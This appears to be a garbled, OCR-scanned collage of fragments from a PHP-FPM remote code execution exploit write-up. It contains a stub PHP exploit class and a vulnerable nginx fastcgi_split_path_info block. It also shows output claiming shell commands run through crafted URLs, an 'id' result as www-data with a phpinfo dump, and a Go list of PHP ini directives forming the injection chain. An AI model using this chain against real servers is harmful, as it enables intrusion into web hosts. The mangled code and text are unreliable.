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<?php
class New_PHP_Vulnerability

{

var $module
var $server =

var $id ="
var $attack =
var $poc =
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location ~ [~/]\.php(/|$) {

fastcgi_split_path_info ~(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9€00;
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REMEMBER THIS

Success! Was able to cute a command by appending "?: vin/sh+-c+'which+which"&" to URLs

Trying to cleanup ftmpfa...
2 Done!
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M—O FEg2 | 10.10.20.966: 8080 index. phpTa=id

uid=33(www—data) gid=33(www-data) groups=33(www-data)

PHP Version 7.2.10
Php

Systemn | Linux d3135c70807Th 4.19.0-kolil-amdEd #1 SMP Deblon 4.19.13-1kalil (2019-01-03] x85_G64

Bulld Date Sep 15 2018 02:33:00

Configure Command * Soonfigune® ‘—-bulld=x86_G4-linux-gnu’ *~-with-conhg-file-path=,/usrflocal/etc/php’ '=-with-config-file-
scan—dir=fusrlocal/etc/php/cond.d’ "——enable-option-checking=latal’ '——with-mhash’ '——enable-fip’ "——
enable-mbatring” "-—enable-mysgnd '—with-password-argon?' “-—-with-sodium=ahared’ "-—with—cul '—
with=libadit” '——with-apsrssl '—-with-2ib' "--with-libdir=8s/x86_84-linux-gru' "——anabla-fpm' "-—with-
fpm-userswae-data’ "=-with-fpm-groupswww-data’ *--disablo-cgl’ "build_allas=xB6_84-linux-gnu’

Sorver API FPM/FastCal

Wirtual Directory Suppont disablod

Confguration File (php.inl) Path I Jusrflocalfate/php

Loaded Contiguration File I ()

Scan this dir for sdditional i ties | Jusrlocalfetc/php/cont.d

Additional .ini files parasd Jusrlocalate,php.fcont.df docker-php—ext-sodium.ini
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PHP Extension 201708

Zand Extenslon 320170718

Zond Extension Builld APTI20TI0OTNBNTS
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var chain = []string{
"short_open_tag=1",
"html_errors=@",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error log=/tmp/a",
"extension_dir=\"<?="\"",
"extension=\"$_GET[a] ?>\"",
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